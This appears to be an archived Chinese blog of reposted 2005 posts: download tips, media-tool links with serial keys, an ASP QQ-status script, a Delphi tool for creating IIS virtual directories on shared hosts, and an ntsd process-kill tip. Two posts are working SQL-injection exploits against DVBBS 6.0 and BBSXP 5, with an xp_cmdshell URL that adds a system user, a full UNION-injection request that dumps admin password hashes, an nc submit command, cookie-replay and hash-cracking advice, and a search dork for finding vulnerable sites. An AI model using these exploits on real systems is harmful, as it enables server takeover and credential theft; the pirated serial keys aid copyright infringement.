当您采用软件来下载时,一般都会在下载任务栏下面出现一个进度指示区。以FlashGet为例,所谓的“图表/日志”就表示着指定任务的下载进程。细心的朋友可能会发现,各种下载软件在把任务进行分段下载时,其中的每一段都会有详细的进度说明。在下载任务添加完毕后,点击“图表/日志”下方的“Jet 1”,您会看到下载信息中经常会出现这样一行文字:“重新定位到……”。实际上,这个重新定位的目的地就是该任务的真实下载地址。无论您原始的下载地址是像上面例子那么长的一大串字母和符号,还是一个ASP地址或者别的什么,只要您认准“重新定向”的位置,保证真实的下载地址原形毕露!另外,网络蚂蚁也具备相关的功能,其重新定向的位置以“Location”表示。

也许您会问,“知道了真实的下载地址,又有什么用?”没关系,这只是一个预备知识,您现在只要掌握这个技巧就好,一会儿会用到的。

疯狂下载连锅端

必须承认,这个部分的内容是关于一种极度疯狂的下载行为的,然而它又比用WebZip这样的软件去下载站点理智一些。毕竟像WebZip那种通过下载页面的层数来控制下载的信息量,这种行为无论怎么看也是非常值得怀疑的——天知道您的站点有多少个层次!那么,如果您只是为了得到几个软件,就在WebZip的地址栏http://www.download.com.cn”,这也未免太小题大做了,况且为了让我刚才说的“获得真实下载地址”的技巧看起来比较有用,就把这个疯子般的下载术放在脑后吧。下面让我来告诉您,如何最快速地得到更多有用的东西……

以国内著名的下载站点“中国http://www.download.com.cn)为例,我们首先通过上述的方法,使用下载软件查出了某个软件的真实下载地址(过程我就不重复了ftp://ftp.download.com.cn/pub/new_tools/sunglass.zip),然后只要稍作处理就可以让它变得有用:这个地址去掉了末尾的文件名ftp://ftp.download.com.cn/pub/new_tools/”,所表示的含义就是该软件的目录。下面,您可以打开IE浏览器,输入这个目录地址,就会立刻看到与我们要下载的软件处于同一个目录下的其他所有软件。

所有的软件都出现在这个窗口中。

如果您是一个新软件的试用者,那您可有福了。直接把想要的软件拖拽到Windows的窗口中,下载过程自动完成,连下载工具都省了。然而,您更可以通过FTP站点的目录结构游走整个中国下载站点,把所有软件尽收眼底,尽情下载吧。

对于其他FTP站点的地址,此方法依然适用。因为大部分FTP站点都是支持匿名登陆的,但匿名用户的权限一般都是“只读”,也就是说您可以任意下载FTP站点中的任何软件,却不能上传或删除任何东西。不过对于下载狂人来说,这足够了。怎么样?这种疯狂的“连锅端”下载技巧令您感受到下载的快感了吗?

吝啬鬼下载术

相对于疯狂的端站点技巧,还有一种细致得锱铢必较的令宽带上网或公款上网用户不屑一顾却让饱受拨号上网龟速之苦的群众欢欣鼓舞而津津乐道的——吝啬鬼下载术。

如果经常下载软件的话,您会发现从网上下载到的软件大多是zip格式的。这样做一来为了节省宝贵的服务器空间,二来可以减少下载软件的信息传输量;然而之所以用zip格式进行压缩却很少用到rar和ace这些压缩格式,则主要是因为zip的普及程度高。可是您发现没有,当您把辛辛苦苦下载回来的zip包打开的时候,是否会发现有很多与应用程序无关的文件呢?比如站长们为自己打的小广告啦,根本看不懂的英文Readme啦……如果能把没用的家伙们统统排斥在外,您是否会感到一点点轻松呢?还有这种情况:朋友把许多文件都压缩成一个体积巨大的zip并传到网上,而您现在只需要其中的一个小文件,怎么办呢?

Zip预览的功能在左下角。

有Download Mage就没问题了。这个简明的下载程序虽不如FlashGet那样知名,但它的最大特点就是能事先预览要下载的zip压缩包中的文件,然后您可以选择哪个文件下载,哪个文件不下载,把不受欢迎的文件排除掉,下载不就更轻松了吗?

Download Mage也能像FlashGet那样直接截获IE中的URL并展开下载,但需要您先在它的Setup标签中启用IE支持插件(Install IE Support),当然Netscape也是可以被支持的。接下来,只要您从浏览器中点击任意的软件下载链接,Download Mage就会自动弹出并准备开始下载。此时点击左下角的Zip预览(Zip Preview)按钮,您就可以清楚地看到该Zip压缩包中有多少个文件,各自的大小是多少。按住Ctrl键复选您想要下载的文件,再确保“Download Selected Files(下载选定的文件)”被勾中后,按回车键即可开始这吝啬鬼般的下载术了!

Zip压缩包中的文件清晰可见。

那么,到这里为止,最疯狂和最保守的下载方法都有介绍了,下面就来点更高深的技巧吧!

超批量下载

所谓的“批量下载”实际上是下载工具的一项普通功能。下载程序通过分析页面上的各种链接,把所有可能下载的文件都罗列出来。这时您只需简单地选择需要下载的文件,或者通过文件类型进行批量选择某种文件,之后下载的任务就完全交给程序了。看,就是如此简单的一个功能,却能省去我们大量不必要的重复劳动。但是目前实际的应用情况却是:网站为了增加浏览量,竟然给每张图片都制作一个html页面,或者再来个专门的鉴赏页什么的,结果反倒大大增加了用户的负担。要知道很多人都希望能尽快收集到更多的优质图片,但是如此的收集方法是不是太麻烦了呢?

我们不妨先来看一个例http://www.51m.com/pic/2/best124.htm,这是一个典型的图库下载页面。按照每个缩略图所指向的链接,不难发现我们只有逐个打开每张图片所在的页面,才能看到并且保存相应的图片。如果您还是觉得不直观的话,那么我就在这里使用“批量下载”,看看会出现什么效果。

批量下载。

在页面上点鼠标右键,选择“使用网际快车下载全部链接”,于是出现所有由FlashGet探索到的可供下载的文件。仔细观察一下就不难看出,其中没有任何图形文件!也就是说普通的批量下载在这里完全不起作用。

批量下载不行,怎么办?

显然,您需要一种更好的批量下载的方法,来帮助您提高下载的效率。下面就要看FlashGet的绝技了。0.94版本以后的FlashGet增加了一项非常诱人的功能:站点资源探索器。它能够沿着您提交的URL尽可能找到所有可以下载的文件,启动站点资源探索器的快捷键是F7。

下面,在网站资源探索器的地址栏中键入刚才那个网址并按回车……您看到什么了?是不是出现了一些jpg图片?如果您觉得这些图片排列得不够明显,就点击一下“类别”栏目,这下明显了吧?选中这些图片,点击工具栏上的“下载”,那么您就连URL都不用*心了,FlashGet会自动为您下载这些图片!

资源一旦被探索到,就可以被FlashGet下载。

这就是强大的“超批量下载”,您觉得这个技巧好用吗?相信在实际的应用过程中,您一定能逐渐体会到它的优越性

如何看电影和一些必备工具
首先声明,不要对我说连接无效的话,因为时间过了多天。我想你可以在收缩引擎中寻找,很多的,我要是有空间当然可以提供,可惜我没有,sorry。

电影.asf .mpeg结尾的文件用media player观看
ram,rm结尾的用realplayer观看
realplayer加强版,注册码:1116-11-0060
http://66.54.221.196/tool/real.exe ;;;

有的mpeg和ask的文件是DIVX编码的需要DIVX插件,安装插件后才能用media player观看
这里斑竹推荐一个专用看DIVX的player,占用系统资源更少
http://66.54.221.196/tool/player.exe ;;;

文件结尾r01 r02 exe这种是一个大文件用winrar分割成为若干小块,需要用winrar合并后才能观看,winrar
http://66.54.221.196/tool/wrar271.exe ;;;

文件结尾001 002 003这种是用hjsplit分割的文件,需要用hjsplit合并后观看
http://66.54.221.196/tool/hjsplit.zip ;;;

mms://这种是media player的在线播放协议,可以直接在线观看,下载要用VCR
用法和flashget蚂蚁等差不多
http://66.54.221.196/tool/vcr10b3.zip这个地址可能坏了.我没有空间上传.它有500k左右.文件名是vcr.exe请用收琐引擎自己找.sorry

rstp://这种是realplayer的在线播放协议,可以直接在线观看下载要用VCR
用法和flashget蚂蚁等差不多

制作工具

RealProducer Plus v8.5(内含注册码)
这是Real公司出品的RM制作最强大的软件了。千万记住 RealProducer 这个软件有很多版本,一定要用 Plus 版的!!!是同类软件中最好用的,软件容量不大,功能专业专一而强大,又是Real公司这个RM的鼻祖出品的,非常好的制作RealMovie的软件。
http://66.54.221.196/tool/plus.zip ;;;212-09483-1266

Real格式文件压缩至尊v1.40注册版
软件大小:2448K
更新时间:2001-5-12
注册码:TianYusoftware is good
下载&nbsftp://61.139.37.147/rj/soft/tyureal.exe ;;;

把两个MPG合成一个MPG的方法
用dos下
copy /b 1.mpg+2.mgp final.mpg

如何合并多个内容连续的rm文件?
与分割RM一样,用RealProducer Plus 软件
File->Edit Realmedia File,打开Realmedia Editor,然后File->Open Realmedia File,从目录中找到要合并的第一个RM文件并打开,接着File->Append Realmedia File,从目录中选要合并的第二个文件并打开,如有第三第四类推,这时已经合并好了,File->Save Realmedia File As,取个名字,哈哈,大功告成
posted @ 2005-07-07 17:58 一天一点爱恋 阅读(397) | 评论 (0)编辑 收藏
 
创建时间:2003-05-01
文章属性:原创
文章来源:灰色轨迹
文章提交:PsKey (PsKey_at_hotmail.com)

PsKey<PsKey@hotmail.com>
www.isgrey.com

>>>Dedicated This Scrap To CaoJing<<<

涉及版本:
^^^^^^^^^^
DVBBS VER 6.0.0 &DVBBS VER 6.0.0 SP1&DVBBS VER 6.0.0 SP2<ACCESS&MSSQL>
//低版本没看,反正低版本的问题成堆,也不少这一个-)

描述:
^^^^^^
DVBBS是一款由WWW.ASPSKY.NET开发和维护的源代码开放的Asp论坛;由于其tongji.asp文件没有过滤用户提交传递给SQL查询的输入,导致远程攻击者可以利用这个漏洞进行SQL注入攻击,进而威胁论坛或服务器安全。

具体:
^^^^^^
DVBBS经analysist加固后,消除了大批安全隐患,并引入了很多的安全措施,如果大家对编写安全的Asp代码有兴趣,DVBBS将是一个很好的参考!虽然Asp语法简单,出现问题的情况也就那么几种。小型Asp程序中,程序员只要稍微有点安全意识就可以避免出现漏洞;但在较大规模的纷杂的程序中,难免出现遗漏,而只要有一个缺陷存在,系统安全就得不到保障。说了这么多废话,我们转入正题,问题其实很简单,看代码:
---------------------------------------------------------
6   if request("orders")=1 then
7      call tongji()
8   elseif request("orders")=2 then
9    call topuser()
...
60  sub topuser()
61    set rs=server.createobject("adodb.recordset")
62    sql="select top "&request("n")&" username,useremail,userclass,oicq,homepage,article,addDate  from [user] order by article desc"
---------------------------------------------------------
很明显吧?(你怎么就没发现呢~呵呵),变量 n 没有经任何检查就直接放到SQL查询中了。

攻击方法:
^^^^^^^^^^
1:MSSQL
如果是MSSQL版的,还客气什么,直接提交如下URL:
http://www.target.com/asp/dvbbssql/tongji.asp?orders=2&N=2%20password%20from%20admin;%20exec%20master..xp_cmdshell%20'net%20user%20love%20hack%20/add'%20--
顺利的话,对方系统便会添加love/hack用户,顺便还可以看到论坛管理员的经MD5加密后的密码字符串(FT,系统用户都添加了,论坛管理员算什么?),由于本文不是sql injection教学,就此打住。

2:ACCESS
如果是ACCESS版的,哈哈,很多朋友紧张起来了,看看tongji.asp下面的代码:
---------------------------------------------------------
66    response.write "document.write('<FONT color=#b70000>□</FONT><span style=""font-size:9pt;line-height: 15pt""><a href=http://www.pydz.com/sunwinbbs/dispuser.asp?name="& rs(0) &" target=_blank title=查看"&rs(0)&"的个人资料>');"
67       response.write "document.write('"&rs(0)&"</a>');"
68    response.write "document.write('</span><br>');"
---------------------------------------------------------
看见有趣的东西了没有?没错,就是 rs(0) ,如果我们指定 “n=50 userpassword,”(n的值随便选择,看你想偷看多少用户的密码啦),嘿嘿,现在rs(0) 就不是 username 而是 userpassword了,例如:

http://www.target.com/asp/dvbbs/tongji.asp?orders=2&N=2
返回:
---------------------------------------------------------
document.write('□');document.write('admin');document.write('
');document.write('□');document.write('ss');document.write('
');
---------------------------------------------------------

http://www.target.com/asp/dvbbs/tongji.asp?orders=2&N=2%20userpassword,
返回:
---------------------------------------------------------
document.write('□');document.write('18e071ccfb2d1c99');document.write('
');document.write('□');document.write('acd5fdfea300e88a');document.write('
');
---------------------------------------------------------
哦,原来admin的密码是18e071ccfb2d1c99,但是经过MD5加密的,别急,用同样的办法你可以把admin的userid、回答问题....全部搞到手。

得到这些能干什么?(准备暴力破解可以略过不看)
曾经看到一篇奇文《得到论坛数据库后如何快速夺取管理员密码<对动网>》,内容大致是:自己安装一个动网论坛,把得到的加过密的16位密码复制下来,贴到你刚才注册的ID的密码处,用找回密码功能就可以了,只要提示问题答案填写正确,密码就发到你的信箱了。
基本上是鬼扯,但作者视MD5如草芥的魄力不得不令小弟佩服。

在老版本的动网中,得到这些信息后可以直接修改用户密码,但在6.0中消除了这一隐患,试看 modifypsw.asp相关代码:
---------------------------------------------------------
elseif md5(trim(request("oldpsw")))<>trim(rs("userpassword")) then
          errmsg=errmsg+"<br>"+"<li>输入的旧密码错误,请重新输入。"
        founderr=true
        exit sub
---------------------------------------------------------
哈哈,不行了吧!

看看管理员操作论坛时到底需要些什么,举个例子,删帖的时候:

---------------------------------------------------------
POST /asp/dvbbs/admin_postings.asp?action=delet HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, application/x-shockwave-flash, */*
Referer: http://www.target.com/asp/dvbbs/admin_postings.asp?action=删除主题&BoardID=2&ID=2
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705)
Host: www.target.com
Content-Length: 124
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: aspsky=userhidden=2&password=18e071ccfb2d1c99&userid=1&userclass=%B9%DC%C0%ED%D4%B1&username=admin&usercookies=0; iscookies=0; BoardList=BoardID=Show; ASPSESSIONIDAASCSCDC=IPKLMGFAKFJLMOLNMMEMFDGC; upNum=0

title=%B9%E0%CB%AE&content=&doWealth=-7&douserCP=-5&douserEP=-5&id=2&replyid=&boardid=2&msg=&submit=%C8%B7%C8%CF%B2%D9%D7%F7
---------------------------------------------------------

明白了吧,这里头该有的我们都可以得到,大家要是有时间就帮论坛管理员删删那些垃圾帖吧:)

还可以做什么?动动脑子,你可以做到更多。

后记:心情太不美丽了,臭屁了这么久您可不要厌烦。Have a nice day!
posted @ 2005-07-07 17:56 一天一点爱恋 阅读(562) | 评论 (0)编辑 收藏
 
新版bbsxp注入漏洞再现,可直接得到管理员帐户密码
——我找到bbsxp5 sp1漏洞的过程总结
前期杂志有篇文章是关于BBSXP的,用的是Cookie注入攻击,作者真是思路巧妙,可以想到逻辑漏洞。当时看了文章后,学校有事情就没读代码。暑假闲着无事,所以就把最新版的BBSXP下载下来读了一遍。BBSXP确实短小精悍,文件有少又短,不过比起DVBBS无论从功能上还是界面上还是有点差别,不过从漏洞上比还确实无分上下, 经过了3年的测试,还是多少有点瑕疵。

一.漏洞寻找
论坛对字符串输入用HTMLEncode转换,数字类型的用int函数调整,Isnumeric函数判断。很显然查询中有数字和字符串作为值输入的肯定不能利用了。不能做为值输入可以做为什么输入呢?这就是问题的关键。我把每个文件带着这个思路粗略浏览了一遍,用了很长时间才在search.asp(好象以前就有过漏洞,改了原来的却有了新的)找到了漏洞,一起看看代码。
<!-- #include file="setup.asp" -->
<%
top
if Request.Cookies("username")=empty then error("<li>你还未<a href=login.asp>登录</a>社区")
DetectPost
if Request("menu")="ok" then
search=Request("search")
forumid=Request("forumid")
TimeLimit=Request("TimeLimit")
content=HTMLEncode(Request("content"))
searchxm=HTMLEncode(Request("searchxm"))
searchxm2=HTMLEncode(Request("searchxm2"))
searchxm2=replace(searchxm2,"@","&")
if content=empty then content=Request.Cookies("username")
if isnumeric(""&forumid&"") then forumidor="forumid="&forumid&" and"
if search="author" then
item=""&searchxm&"='"&content&"'"
elseif search="key" then
item=""&searchxm2&" like '%"&content&"%'"
end if
if TimeLimit<>"" then TimeLimitList="and lasttime>"&SqlNowString&"-"&int(TimeLimit)&""
sql="select top "&MaxSearch&" * from forum where deltopic<>1 and "&forumidor&" "&item&" "&TimeLimitList&" order by lasttime Desc "
rs.Open sql,Conn,1
……


我们仔细研究一下 sql=”select top “&MaxSearch …这句,其中MaxSearch是定义好的,默认值为500,剩下3处是从外面输入的。
1.if isnumeric(""&forumid&"") then forumidor="forumid="&forumid&" and"
只要forumid输入为空,那么forumidor就为空.
2.if TimeLimit<>"" then TimeLimitList="and lasttime>"&SqlNowString&"-"&int(TimeLimit)&""
TimeLimit是个整数,随便输入(输入个1),那么TimeLimitList变成” and lasttime>now()-1”,在MSSQL中变成” and lasttime>getdate()-1”.
3. if search="author" then
item=""&searchxm&"='"&content&"'"
elseif search="key" then
item=""&searchxm2&" like '%"&content&"%'"
end if
只要search=”author”,content随便输入(输个abcd),那么item= HTMLEncode(searchxm)=’abcd’,只要我们构造好输入,通过上面的语句,就把SQL语句变为:

select top 500 * from forum where deltopic<>1 and [ HTMLEncode(searchxm)] =’abcd’ and lasttime>now()-1 order by lasttime Desc
用中括号括起来的部分前后都没单引号,显然可以利用了。

先看看 HTMLEncode函数
function HTMLEncode(fString)
fString=replace(fString,";",";")
fString=server.htmlencode(fString)
fString=replace(fString,"'","'")
fString=replace(fString,"--","--")
fString=replace(fString,"\","\")
fString=replace(fString,vbCrlf,"<br>")
HTMLEncode=fString
end function
过滤了”; ‘ -- \ vbcrlf”,还有”< > &”等,其实过滤的也算严密了,程序员也挺难的,过滤多了可能影响使用,少了又会出安全问题。过滤了这么多我们该如何利用呢?大家自然想到了猜测,是一个可行的办法,表的结构也都知道了,也很容易猜的。不过我还是用个简单的办法吧。

二.漏洞利用

还是用本人很熟悉的union查询,对ACCESS和MSSQL都有效。构造过程本人就不写了,直接给大家看结果。
select top 500 * from forum where deltopic<>1 and
forumid=0 union all select top 1 1,1,[user].username as topic,forum.use
rname,content,forum.posttime,forum.postip,1,1,1,1,1,1,1,[user].userpass as lastname,lasttime,polltopic,clubconfig.adminpassword as pollresult,1 from [user],forum,clubconfig where [user].membercode=5 or forum.id=0 or clubconfig.adminpassword

=’abcd’ and lasttime>now()-1 order by lasttime Desc

其中有颜色部分是我们要输入的searchxm的值,中间的每个字符HTMLEncode函数都没有过滤到。至于这个语句的含义,就是让union 前面的语句为假,因为forumid不可能为0,union后面只查询出一条记录,其中包含了管理员的用户名和加密密码,还有社区管理的加密密码,懂SQL语句的朋友一看就明白了。其中数字1没有意义,只是为了匹配字段的类型,保证union前后字段数目和类型一致就行了。这里可以任意构造,有兴趣的朋友可以构造自己的查询,我给出的只是一个参考。
构造好了输入语句,还要构造提交。这时就要想到WSE这个经典之作,如果有人认为对HTTP协议已经熟的可以自己写提交字符串,我也应该劝他省省体力和脑力。
[图1]
[图2]
构造的提交如下:
POST /bbsxp/search.asp?menu=ok HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://localhost:8000/bbsxp/search.asp
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; MyIE2)
Host: localhost:8000
Content-Length: 481
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: eremite=0; userpass=E80B5017098950FC58AAD83C8C14978E; username=admin; skins=1; ASPSESSIONIDSSRQSDTB=OGLJMADCECKAFKGCPCCHBKHO; onlinetime=2004%2D8%2D13+20%3A08%3A33; addmin=0

content=fsaf&search=author&searchxm=%20forumid%3D0+union+all+select+top+1+1%2C1%2C%5Buser%5D.username+as+topic%2Cforum.username%2Ccontent%2Cforum.posttime%2Cforum.postip%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C%5Buser%5D.userpass+as+lastname%2Clasttime%2Cpolltopic%2Cclubconfig.adminpassword+as+pollresult%2C1+from+%5Buser%5D%2Cforum%2Cclubconfig+where+%5Buser%5D.membercode%3D5+or+forum.id%3D0+or+clubconfig.adminpassword&searchxm2=topic&TimeLimit=&forumid=&submit1=%BF%AA%CA%BC%CB%D1%CB%F7

其中searchxm部分我自己写了个HTML页面,用WSE截获就可以获得编码了。
这里有个地方需要注意,就是COOKIE中的username和userpass必须是自己真实的。

把上面的代码保存到记事本中用nc提交
nc –vv host port<post.txt >a.txt
post.txt为提交信息,a.txt用来接受返回数据。
返回如下信息:


<script>ShowForum("1","abcdef","","昨夜长风","1","1","1","1","21232F297A57A5A743894A0E4A801FC3","1","1","67BA892B516067544ED15DE74B3DD2DD","2004-7-15 18:45:45");</script>


返回信息中类似上面的结构只有一条,其中abcdef为管理员用户名,两个32位长字符串,前者为abcdef的加密密码,后者为社区管理加密的密码,用的都是MD5加密。
到这里我想大家已经知道怎样利用了。可以利用Cookie欺骗进行前台管理,这要用到IECookiesView,具体过程请看相关教程,在此不再赘述。如果大家有时间可以用MD5CrackV2.2.exe暴力破解后台加密的密码,这个工具确实很实用,8位数字密码几分钟(我的机子)就可以破解了,所以10位数字和8为小写字母都可以强破。
想找BBSXP论坛,可以在Google上输入“Powered by BBSxp 5.00”,80%以上网站存在此漏洞。
三 .总结
本人由于书写匆忙,文章有些地方可能需要理解,拙劣之处还请大家见凉,不足之处请指出。写此文章只是给大家抛砖引玉,分享一下自己的经验,也提醒大家寻找漏洞时要把握程序的结构和流程,提醒作者写程序时不因细小而忽略。其实漏洞修补很简单,只要searchxm部分不是用用户输入,而是程序设定就没问题了,也没必要改变HTMLEncode函数。
暑假闲着无事,顺便把漏洞利用程序写了出来,免的象上次一样自己发现的漏洞让别人帮忙写程序。希望大家不用利用漏洞做破坏,一切后果自己负责。
posted @ 2005-07-07 17:47 一天一点爱恋 阅读(266) | 评论 (0)编辑 收藏
 
<%
On Error Resume Next
Server.ScriptTimeOut=9999999
Function getHTTPPage(Path)
t = GetBody(Path)
getHTTPPage=BytesToBstr(t,"gb2312")
End function

Function GetBody(url)
on error resume next
Set Retrieval = CreateObject("Microsoft.XMLHTTP")
With Retrieval
.Open "Get", url, False, "", ""
.Send
GetBody = .ResponseBody
End With
Set Retrieval = Nothing
End Function

Function BytesToBstr(body,Cset)
dim objstream
set objstream = Server.CreateObject("adodb.stream")
objstream.Type = 1
objstream.Mode =3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = Cset
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function
Function Newstring(wstr,strng)
Newstring=Instr(lcase(wstr),lcase(strng))
if Newstring<=0 then Newstring=Len(wstr)
End Function
qq = "123456"
url="http://webpresence.qq.com/getonline?Type=1&"&qq&":"
wstr=getHTTPPage(url)
if wstr = "online[0]=0;" then
response.write "unonline"
else
response.write "online"

end if

%>

这是我网站中的部分代码,我提取了其中部分,已经算是完整的了。可以正常截取QQ在线离线信息。当然你可以调整XMLHTTP.ReadyState,实时获取数据。
posted @ 2005-07-07 17:44 一天一点爱恋 阅读(221) | 评论 (0)编辑 收藏
 
很久,很久没有和大家聊天了,很想大家的。见面先就给大家送个小礼吧。其实也不是什么好东西。

在研究和学习中进步,没有研究,没有深入的去了解,就没有进步。认真的学习态度+穷追不舍+十万个为什么。

得到的结果就是成就!

好了,屁话放了太多了。明白的人,不看上面的话都明白。不明白的人,看了也许永远也不会明白。


系统中有个VBS也可以实现这样的功能的。不过我认为,如果在台虚拟主机中,存在多个网站的情况下。

建立虚拟目录,也只能在第一个默认的站点中。一般情况下虚拟主机默认是关掉的。也就是你建好了,通过HTTP也不能访问。

从MSDN中,我找到了一些相关的技术资料,写了个小工具。可以建立在其它站点中。这里看来说起来有点混乱。

我举例给大家说说吧。

拿个虚拟主机的 Internet 信息服务中的列表给大家看看就明白了

+默认 web 站点(已停止)
+管理 web 站点(已停止)
+163.com
+263.com
+363.com

好,上面大家看到了,有三个站点是开放的。而前面那个默认的已经被关闭了。

这时,我们用VBS建立虚拟目录,是建立在默认的站点中,而站点被停止了,所以建立成功后,也不能访问。

比如:我们怎么能在263.com这个站中,建立一个目录,比如:VDIR,通过http://www.163.com/VDIR就可以访问了呢?

通过查找资料,我得到了,在建立的时候,允许指定一个序号,比如:1..N

1 : 表示,在默认的站点中,然后按着这个顺序来,而363.com对应的序号就是5.

明白了这个道理后,用程序来实现这个功能就比较简单了。当然,你会说,那么我想在263.com这个站中,建立。

但是我不知道,这个站对应的序号是多少,对于这个问题,我们只能从序号3开始一直往下建立,(1,2对应的是前面默认的)

当建立一个后,可以读出他的配置信息,返回给大家。建一个后,你就明白是不是建立在你想要建的那个站中,如果不是。

也可以把他删掉。再增加序号。:)(有没有一个工具,可以在命令行下,实现把所有的主机站点信息,比如:名称,对应目录之类的列出来?原理差不多,你看完代码应该会写了)

以下是代码:

program VDir;

{$APPTYPE CONSOLE}

uses
ActiveX,SysUtils,ComObj;
Var
VName,
VPath,
Vattrib : String;

CreateVpath : Boolean;
WebIndex : integer;

Procedure ShowHelp;
Begin
WriteLn('=========== VDir by CYFD! ============');
WriteLn('');
WriteLn('Useag:'+ParamStr(0)+' <-n:VName> <-p:VPath> <-i:WebIndex> <-c:CmdType> [-r:Vattrib]');
WriteLn('');
WriteLn('Sample:'+ParamStr(0)+' -n:yfd -p:c:\ -i:1 -c:1 -r:0,1,3');
WriteLn('');
WriteLn(' CmdType :');
WriteLn(' 1 : Create');
WriteLn(' 0 : Delete');
WriteLn(' Vattrib :');
WriteLn(' 0 : AccessScript');
WriteLn(' 1 : AccessRead');
WriteLn(' 2 : AccessWrite');
WriteLn(' 3 : AccessExecute');
WriteLn(' 4 : EnableDirBrowsing');
End;

Procedure ParseParam(Str : String);
var
tStr : String;
Begin
tStr := lowercase(Copy(Str,1,3));
if tStr='-n:' then
VName := Copy(Str,4,Length(Str));
if tStr='-p:' then
VPath := Copy(Str,4,Length(Str));
if tStr='-c:' then
CreateVpath := StrToIntDef(Copy(Str,4,Length(Str)),1) = 1;
if tStr='-r:' then
Vattrib := Copy(Str,4,Length(Str));
if tStr='-i:' then
WebIndex := StrToIntDef(Copy(Str,4,Length(Str)),1);

End;

Function GetStrForSpace(SourceStr :String ; JGZF:char ; Index:integer):String;
var
Pchar1 : pchar;
i , count : integer;
cStr : string;
begin
Count := 0;
Pchar1 := pchar(SourceStr);
cStr := '';
for i:=0 to length(Pchar1)-1 do begin
if pchar1[i] = JGZF then
begin
Count := Count + 1;
if Count = Index then begin
break;
end;
end
else if Count = Index -1 then cStr := cStr + pchar1[i];
end;
Result := cStr;
end;


procedure CreateVDir(Vdirpath:string);
var
WebSite, WebServer, WebRoot, VDir,Binds: Variant;
BindStr : String;
begin
Try
WebSite := CreateOleObject('IISNamespace');
WebSite := WebSite.GetObject('IIsWebService', 'localhost/w3svc');
WebServer := WebSite.GetObject('IIsWebServer', IntTostr(WebIndex));

// 这里的WebIndex就是你要建立的序号.

WebRoot := WebServer.GetObject('IIsWebVirtualDir', 'Root');

if CreateVpath then Begin
VDir := WebRoot.Create('IIsWebVirtualDir', VName);
Vdir.AccessScript := pos(',0,',Vattrib) >0;
VDir.AccessRead := pos(',1,',Vattrib) >0;
VDir.AccessWrite := pos(',2,',Vattrib) >0;
VDir.AccessExecute := pos(',3,',Vattrib) >0;
VDir.EnableDirBrowsing := pos(',4,',Vattrib) >0;

// 以上几行是为你建立的目录设访问权限。可写,可读,可执行,可流览...

VDir.Path :=VDirPath;
VDir.SetInfo;

Binds := WebServer.ServerBindings;
BindStr := Binds[0]+':';
WriteLn('');
WriteLn('Result :');
WriteLn('');
WriteLn('IP : '+ GetStrForSpace(BindStr,':',1));
WriteLn('Port : '+ GetStrForSpace(BindStr,':',2));
WriteLn('HostName : '+ GetStrForSpace(BindStr,':',3));
WriteLn('');
WriteLN('Path Is: ' + WebRoot.Path);
WriteLN('Index IS: ' + IntTostr(WebIndex));
WriteLn('Comment : ' + WebServer.ServerComment);

// 上面几行就是得到站点的一些信息,IP,端口,主机名,路径,等等..

WriteLn('');
WriteLn('Create success.');
End
Else Begin
WebRoot.Delete('IIsWebVirtualDir', VName);
Writeln('Delete Success.');
End;
Except
WriteLn('Fail.');
End;

end;

Var
i : integer;
begin

coinitialize(nil);
if ParamCount <4 then Begin
ShowHelp;
Exit;
End;

For i:=1 to ParamCount do
ParseParam(Paramstr(i));

if (ParamCount = 5) and (Vattrib ='') then Begin
ShowHelp;
Exit;
End;
Vattrib := ','+Vattrib+',';
CreateVDir(VPath);

{ TODO -oUser -cConsole Main : Insert code here }

end.


代码可以用COPY到记事本中,然后保存为VDIR.DPR 文件,用DELPHI打开编译一下就行了。

使用方法:

我要在默认站点(序号为1)中建立一个,可读,可写,可注浏览的目录,名称为: yfd 路径为c:\

那么这么使用:

D:\VDir.exe -n:yfd -p:c:\ -i:1 -c:1 -r:1,2,4


程序帮助显示:

Useag:VDir.exe <-n:VName> <-p:VPath> <-i:WebIndex> <-c:CmdType> [-r:Vattrib]

Sample:D:\VDir.exe -n:yfd -p:c:\ -i:1 -c:1 -r:0,1,3

CmdType :
1 : Create
0 : Delete
Vattrib :

0 : AccessScript (脚本访问)
1 : AccessRead (可读)
2 : AccessWrite (可写)
3 : AccessExecute (可执行)
4 : EnableDirBrowsing (可浏览)

-n: 建立的目录名称

-P: 建立的目录路径

-i: 序号

-c: (1表示建立,0表示删除)

-r: (当选择建立的时候,请输入他相应的访问权限值,删除的时候可以不写).



返回结果:

D:\>VDir.exe -n:yfd -p:c:\ -i:1 -c:1 -r:1,2,4

Result :

IP : 127.0.0.1
Port : 80
HostName :

Path Is: E:\Script\WEBTEST
Index IS: 1
Comment : 默认 Web 站点

Create success.


学习,努力学习!好好学习,认真学习,我KAO,天天学习!
posted @ 2005-07-07 17:42 一天一点爱恋 阅读(210) | 评论 (0)编辑 收藏
 
么才能关掉一个用任务管理器关不了的进程?
我前段时间发现我的机子里多了一个进程,只要开机就在,我用任务管理器却怎么关也关不了

答:1.杀进程很容易,随便找个工具都行。比如IceSword。
关键是找到这个进程的启动方式,不然下次重启它又出来了。

顺便教大家一招狠的。其实用Windows自带的工具就能杀大部分进程:
c:\>ntsd -c q -p PID

只有System、SMSS.EXE和CSRSS.EXE不能杀。
前两个是纯内核态的,最后那个是Win32子系统,ntsd本身需要它。

ntsd从2000开始就是系统自带的用户态调试工具。被调试器附着(attach)的进程会随调试器一起退出,所以可以用来在命令行下终止进程。使用ntsd自动就获得了debug权限,从而能杀掉大部分的进程。

ntsd会新开一个调试窗口,本来在纯命令行下无法控制,但如果只是简单的命令,比如退出(q),用-c参数从命令行传递就行了。

NtsdNtsd 按照惯例也向软件开发人员提供。只有系统开发人员使用此命令。有关详细信息,请参阅 NTSD 中所附的帮助文件。



